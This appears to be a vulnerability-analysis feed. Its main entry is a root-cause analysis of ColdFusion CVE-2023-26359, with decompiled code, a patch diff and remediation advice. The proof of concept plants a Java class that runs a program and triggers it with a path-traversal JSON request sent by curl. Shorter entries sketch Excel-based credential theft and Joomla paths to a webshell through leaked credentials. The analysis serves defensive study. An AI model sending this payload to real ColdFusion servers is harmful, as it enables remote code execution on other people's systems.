Activity Feed

Technical Analysis
Overview
Adobe ColdFusion is a rapid web application development platform. On March 14, 2023, Adobe published an advisory outlining three vulnerabilities that affect ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier. One of the vulnerabilities addressed in this advisory is CVE-2023-26359, a deserialization of untrusted data vulnerability that may lead to arbitrary code execution. This vulnerability has been given a CVSS base score of 9.8 and has a severity rating of Critical.
The vulnerability allows an attacker to specify an arbitrary file path to a java class or source file, when deserializing the metadata for a TemplateProxy object in the JSONUtils.deserializeJSON
method during a _cfclient
request. An attacker who can plant a malicious Java class or source file in a predictable location under any filename or extension, can leverage this vulnerability to achieve arbitrary code execution.
This analysis was performed on Adobe ColdFusion 2021 Update 5 (2021.0.05.330109), running on Windows Server 2022.
Root Cause Analysis
We analyze the patch for this vulnerability by downloading a patched version of ColdFusion 2021, update 6 and a vulnerable version of ColdFusion 2021, update 5. We can decompile both versions using the Java decompiler CFR.
> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 C:\cf2021u5\opt\coldfusion\cfusion\lib\cfusion.jar > java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 --clobber true C:\\cf2021u5\opt\coldfusion\cfusion\lib\updates\chf20210005.jar > java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 C:\\cf2021_u6\opt\coldfusion\cfusion\lib\cfusion.jar > java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 --clobber true C:\\cf2021_u6\opt\coldfusion\cfusion\lib\updates\chf20210006.jar
Inspecting these folders for changes we identify the file JSONUtils.java
as being of interest, and running a git diff
command against the two version of this file will reveal the addition of a variable allowNonCFCDeserialization
which prevents a TemplateProxy
instance being created during a call to coldfusion.runtime.JSONUtils.convertToTemplateProxy
. In addition the patch also enforces a TemplateProxy to originate from a file name with a .cfc
extension.
diff --git "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java" "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java" index 7bca87f..293fb20 100644 --- "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java" +++ "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java" @@ -96,6 +96,7 @@ public class JSONUtils { public static final String JS_DATE_FORMAT = "MMMMM, dd yyyy HH:mm:ss"; private static final Logger logger = CFLogs.SERVER_LOG; private static Map<Integer, String> SPECIAL_CHAR_MAP; + private static boolean allowNonCFCDeserialization; private static final boolean numberAsDouble; private static boolean returnCaseSensitiveStruct; private static final String CASESENSITIVESTRUCT = "CaseSensitiveStruct"; @@ -1507,6 +1508,9 @@ public class JSONUtils { serverClass = serverClass.substring(contextPath.length()); } File pageFile = new File(context.getRealPath(serverClass, true)); + if (!(!context.isCFClientCall() || allowNonCFCDeserialization || pageFile.exists() && pageFile.getAbsolutePath().endsWith(".cfc"))) { + return null; + } TemplateProxy tp = TemplateProxyFactory.resolveFile((NeoPageContext)context.pageContext, (File)pageFile); Object varObj = s.get("_variables"); Map map = vars = varObj instanceof Array ? null : (Map)varObj; @@ -1678,6 +1682,7 @@ public class JSONUtils { } static { + allowNonCFCDeserialization = Boolean.getBoolean("coldfusion.cfclient.allowNonCfc"); numberAsDouble = Boolean.getBoolean("json.numberasdouble"); returnCaseSensitiveStruct = false; SPECIAL_CHAR_MAP = new HashMap<Integer, String>();
First we must understand why a call to coldfusion.runtime.TemplateProxyFactory.resolveFile
may be unsafe and why the addition of a variable allowNonCFCDeserialization
and a check pageFile.getAbsolutePath().endsWith(".cfc")
was added to prevent exploitation. Then we will identify how an attacker can call this method with attacker controlled data to trigger the issue.
If we inspect convertToTemplateProxy
we can see the parameter s
is a key value Map structure. This parameter, we will learn, is attacker controlled. If the map contains a value with the key _metadata
, this metadata value, itself a Map, will be queried for a value with a key of classname
. This classname string will be converted into a file path via a call to coldfusion.filter.FusionContext.getRealPath
. Finally this file path will be passed to coldfusion.runtime.TemplateProxyFactory.resolveFile
. No attempt to sanitize the pageFile
path is performed, allowing a malicious path to an arbitrary file to be specified by an attacker, including the use of the double dot path specifier to navigate beneath the C:\ColdFusion2021\cfusion\wwwroot\
if desired.
private static Map convertToTemplateProxy(Map s) { Map ret = s; try { Object metadata = s.get("_metadata"); FusionContext context = FusionContext.getCurrent(); if (metadata != null) { Map vars; String serverClass = (String)((Map)metadata).get("classname"); String contextPath = context.getRequest().getContextPath(); if (!serverClass.startsWith("/")) { serverClass = serverClass.substring(serverClass.indexOf("//") + 2); serverClass = serverClass.substring(serverClass.indexOf("/") + 1); } if (contextPath != null && !"".equals(contextPath) && serverClass.startsWith(contextPath)) { serverClass = serverClass.substring(contextPath.length()); } File pageFile = new File(context.getRealPath(serverClass, true)); TemplateProxy tp = TemplateProxyFactory.resolveFile(context.pageContext, pageFile); // <---- Object varObj = s.get("_variables"); Map map = vars = varObj instanceof Array ? null : (Map)varObj; if (vars != null) { tp.getVariableScope().putAll(vars); } return tp; } } catch (Throwable throwable) { // empty catch block } return ret; }
A call to resolveFile
wraps a call to resolveName
as shown below. The parameter canonicalResolvedFile
is a File
instance with an attacker controlled path. This path is passed to coldfusion.runtime.TemplateProxyFactory.getCFCInstance
.
static TemplateProxy resolveName(TemplateProxy proxyInstance, NeoPageContext pageContext, File canonicalResolvedFile, String fullName, boolean origCFC, Map initalThisVars, HashSet derivedClasses, boolean initializeCFC) throws Throwable { CfJspPage page; AttributeCollection metadata; ServletContext servletContext = pageContext.getServletContext(); if (fullName != null) { fullName = fullName.replace('/', '.'); if ((fullName = fullName.replace('\\', '.')).startsWith(".")) { fullName = fullName.substring(fullName.indexOf(".") + 1); } } if ((metadata = (AttributeCollection)(page = TemplateProxyFactory.getCFCInstance(servletContext, canonicalResolvedFile, fullName)).getMetadata()).get(Key.PATH) == null && (String)metadata.get(Key.NAME) == "application") { // <---- metadata.put(Key.NEWLY_COMPILED, (Object)"true"); }
In getCFCInstance
we can see the attacker controlled path is passed to TemplateClassLoader.newInstance
.
private static CfJspPage getCFCInstance(ServletContext servletContext, File canonicalFile, String fullName) throws Exception { CfJspPage page; if (System.getSecurityManager() != null) { page = (CfJspPage)AccessController.doPrivileged(new TemplateClassLoaderPrivilege(servletContext, canonicalFile, null)); if (fullName != null && !fullName.equals(BASE_COMPONENT_NAME)) { if (VFSFileFactory.checkIfVFile(canonicalFile.getPath())) { AccessController.checkPermission(new VFilePermission(canonicalFile.getPath(), "read")); } else { AccessController.checkPermission(new FilePermission(canonicalFile.getPath(), "read")); } } } else { page = TemplateClassLoader.newInstance(servletContext, canonicalFile.getPath(), null); // <---- } return page; }
And in newInstance
we can see the attacker controlled path is passed to coldfusion.runtime.TemplateClassLoader.findClass
which will return a Class
instance that represent the loaded class in the Java Virtual Machine (JVM). We can then see an instance of this class is constructed via a call to c.getDeclaredConstructor(new Class[0]).newInstance
.
public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs) throws Exception { return TemplateClassLoader.newInstance(application, realPath, vs, null); // <---- } public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs, LocalScope ls) throws Exception { Class c = TemplateClassLoader.findClass(application, realPath); // <---- if (c == null) { String upperFilePath = realPath.toUpperCase(); if (upperFilePath.endsWith(".CFC")) { throw new CfJspPage.NoSuchTemplateException(realPath); } throw new TemplateNotFoundException(realPath); } Object obj = c.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]); // <----
The method findClass
will try to pull out a Class
instance from a cache called classCache
using the file path as the key.
public static Class findClass(ServletContext application, String realPath) throws IOException { long lastModTime; long compiledTime; if (translator == null) { Class<TemplateClassLoader> clazz = TemplateClassLoader.class; // MONITORENTER : coldfusion.runtime.TemplateClassLoader.class if (translator == null) { translator = new NeoTranslator(application); translator.setSaveClasses(saveClassFiles); runtimeService = ServiceFactory.getRuntimeService(); classCache.setSize(runtimeService.getTemplateCacheSize()); classDir = new File(TemplateClassLoader.translator.outputDir); } // MONITOREXIT : clazz } if (runtimeService.isCommandLineCompile() && (compiledTime = TemplateClassLoader.getLastCompiledTime(realPath)) != (lastModTime = TemplateClassLoader.getLastModifiedTime(realPath))) { classCache.remove(realPath); } Class c = (Class)classCache.get(realPath); // <----
The cache is of type coldfusion.runtime.TemplateClassLoader.TemplateCache
which inherits from coldfusion.util.SoftCache
. We can see below that if a call to get
returns a null
reference, occurring when a file path is loaded for the first time, then a call to fetch
is performed.
// coldfusion.util.SoftCache public Object get(Object key) { if (this.stats == Stats.FALSE || this.stats == Stats.RUNTIME && !statsEnabled) { return this.get_statsOff(key); // <---- } return this.get_statsOn(key); } private Object get_statsOff(Object key) { Object value; ValueRef ref = this.map.get(key); if (ref != null && (value = ref.get()) != null) { return value instanceof Null ? null : value; } this.reap(); value = this.fetch(key); // <----
fetch
as implemented in TemplateCache
will use the ColdFusion compiler NeoTranslator
to translate the files contents into a Java class via a call to coldfusion.compiler.NeoTranslator.translateJava
.
private static class TemplateCache extends SoftCache { private static TemplateChecker tc = null; final LruCache secondary = new LruCache(){ @Override protected Object fetch(Object file) { try { Class<?> c; Map classBytes; File canonicalFile = (File)file; if (tc != null && !tc.check(canonicalFile)) { return null; } String className = NeoTranslator.getClassName(canonicalFile); byte[] bytes = null; if (saveClassFiles && translator.isNewPage(canonicalFile.getPath())) { long sourceModTime = -1L; try { if (System.getSecurityManager() == null) { bytes = TemplateClassLoader.getClassBytes(className); } else { try { final String tempClassName = className; bytes = (byte[])AccessController.doPrivileged(new PrivilegedExceptionAction(){ public Object run() throws Exception { return TemplateClassLoader.getClassBytes(tempClassName); } }); } catch (PrivilegedActionException e) { throw new IOException(e.getLocalizedMessage()); } } sourceModTime = new ClassReader(bytes).getSourceModTime(); } catch (IOException e) { // empty catch block } if (sourceModTime != -1L) { translator.setSourceLastModified(canonicalFile.getPath(), sourceModTime); } classBytes = translator.translateJava(canonicalFile.getPath(), false); // <---- } else { classBytes = translator.translateJava(canonicalFile.getPath(), true); }
Finally translateJava
will perform one of two operations. If the file to be loaded is a Java Class binary, as identified by inspecting the first four bytes for the magic value 0xCAFEBABE
, then this class file will be loaded. If it is not a class file, the file will be compiled on the fly as source code for a Java ColdFusion component or module.
The root cause of the vulnerability lies in convertToTemplateProxy
. We can see that this vulnerable method is called during coldfusion.runtime.JSONUtils.parseObject
as shown below, which itself is called during JSONUtils.deserializeJSON
. By default deserializeToTemplateProxy
will be false
, so to reach the vulnerable convertToTemplateProxy
method, the HTTP request must be a _cfclient
request in order to satisfy the isCFClientCall
check. A _cfclient
request is identified by having the parameter _cfclient=true
present in the request URL.
private static Object parseObject(ParserState state) { Object cfml; JSONUtils.walkWhitespace(state); switch (state.currentChar()) { case '{': { cfml = JSONUtils.parseStruct(state); FusionContext fc = FusionContext.getCurrent(); CFComparable cfmlStruct = returnCaseSensitiveStruct ? (CaseSensitiveStruct)cfml : (Struct)cfml; if (fc != null && (fc.isCFClientCall() || state.deserializeToTemplateProxy) && cfmlStruct.get("_metadata") != null) { if (returnCaseSensitiveStruct) { cfml = JSONUtils.convertToTemplateProxy((CaseSensitiveStruct)cfml); // <---- break; } cfml = JSONUtils.convertToTemplateProxy((Struct)cfml); // <---- break; }
From reviewing the above we can see that calling JSONUtils.deserializeJSON
with attacker controlled JSON input during a _cfclient
request will result in an attacker specified file being instantiated as a Java class. The attacker may provide an arbitrary path to any file on the local file system and the file may have an arbitrary extension, ie. it can end in .txt
, .log
, .xml
or any other extension and does not need to be .cfc
. However we must note that this vulnerability in and of itself does not give the ability to create an arbitrary file on disk. An attacker will need to leverage a separate technique to plant a malicious file in a predictable location before being able to leverage this vulnerability.
Triggering the Vulnerability
Searching for calls to the vulnerable JSONUtils.deserializeJSON
method reveals the invoke
method in the coldfusion.filter.ComponentFilter
class. This class is part of a filter chain in the CFCServlet
class. The filter chain is a series of filter classes that process, in sequence, all incoming HTTP requests to ColdFusion Component (CFC) files. The configuration for this servlet is specified in the file C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\web.xml
which contains the following URL pattern mapping.
<servlet-mapping id="coldfusion_mapping_4"> <servlet-name>CFCServlet</servlet-name> <url-pattern>*.cfc</url-pattern> </servlet-mapping> <servlet-mapping id="coldfusion_mapping_18"> <servlet-name>CFCServlet</servlet-name> <url-pattern>*.CFC</url-pattern> </servlet-mapping> <servlet-mapping id="coldfusion_mapping_19"> <servlet-name>CFCServlet</servlet-name> <url-pattern>*.Cfc</url-pattern> </servlet-mapping>
Therefore a HTTP request to a CFC file on the server will be processed by the ComponentFilter
class.
We can see below in ComponentFilter.invoke
that if a url parameter called _cfclient
is set to true
then all further calls to isCFClientCall
will be true
, which is a requirement for triggering the vulnerability in coldfusion.runtime.JSONUtils.parseObject
as previously discussed. The parameters passed in the request are retrieved via FilterUtils.GetArgumentCollection
and an attacker controlled parameter _variables
is deserialized via the vulnerable JSONUtils.deserializeJSON
method with attacker controlled data.
package coldfusion.filter; We can see below that if the URL in the request public class ComponentFilter extends FusionFilter { public void invoke(FusionContext context) throws Throwable { // ... if ((cfClientCall = (String)(urlScope = (UrlScope)context.hiddenScope.get("URL")).get("_cfclient")) != null && Cast._boolean(cfClientCall)) { context.setCfclientCall(true); } Map args = FilterUtils.GetArgumentCollection(context); Struct cloneVars = new Struct(); if (context.isCFClientCall()) { String name; String type; AttributeCollection attr; int i; args.remove("_cfclient"); args.remove("_metadata"); Map vars = (Map)JSONUtils.deserializeJSON(args.remove("_variables")); // <----
PoC
To demonstrate exploitation we will manually plant a malicious Java class in a predictable location with an unassuming file extension, C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp
. As previously discussed, this vulnerability requires the attacker to have this capability either through a separate vulnerability chained to this vulnerability, or by leveraging a web application specific feature of the target application running on top of ColdFusion.
First we create a simple Java class that will execute notepad via a static code block.
import java.io.*; public class hax { static { try { Runtime.getRuntime().exec("c:\\windows\\notepad.exe"); } catch(IOException e) { } } }
We can compile this class using javac
and plant it in an expected location with an extension of .tmp
.
C:\ColdFusion2021\jre\bin\javac hax.java copy hax.class C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp
Finally a HTTP request to a CFC endpoint on the target will load the class. The specific CFC endpoint to target will depend on the web application installed on top of ColdFusion.
curl -v -k http://127.0.0.1:8500/some_cfc_endpoint.cfc?method=some_cfc_method^&_cfclient=true -X POST --data "_variables={\"_metadata\":{\"classname\":\"\\..\\runtime\\work\\Catalina\\localhost\\tmp\\hax.tmp\"},\"_variables\":{}}" -H "Content-Type: application/x-www-form-urlencoded"
Notepad will now execute with local system privileges.
Guidance
To successfully remediate against this vulnerability the latest updates for ColdFusion should be applied, specifically:
- ColdFusion 2021 Update 6 or later
- ColdFusion 2018 Update 16 or later
- Personally observed in an environment (https://www.facebook.com/kellyyacsiri.martinezbravo?mibextid=LQQJ4d)
Technical Analysis
CVE-2023-23398
Description:
The attack itself is carried out locally by a user with authentication to the targeted system. An attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim’s computer. The attacker can trick the victim to open a malicious web page by using an Excel malicious file and he can steal credentials, bank accounts information, sniffing and tracking all the traffic of the victim without stopping – it depends on the scenario and etc.
Reference:
Proof and Exploit
Technical Analysis
There are at least two ways to achieve RCE.
Vector n°1
It leaks the MySQL credentials, in default and most common configurations MySQL will be exposed only on 127.0.0.1
which make the attack ineffective. But if the database is exposed publicly, the attacker can change the Joomla! Super User’s password. The attacker logs in administrative web interface and modify a template to include a webshell or install a malicious plugin.
Vector n°2
It leaks the Joomla user database (usernames, emails, assigned group). The attacker can target a Super user and try bruteforce or credentials stuffing, then follows previously showcased paths to code execution.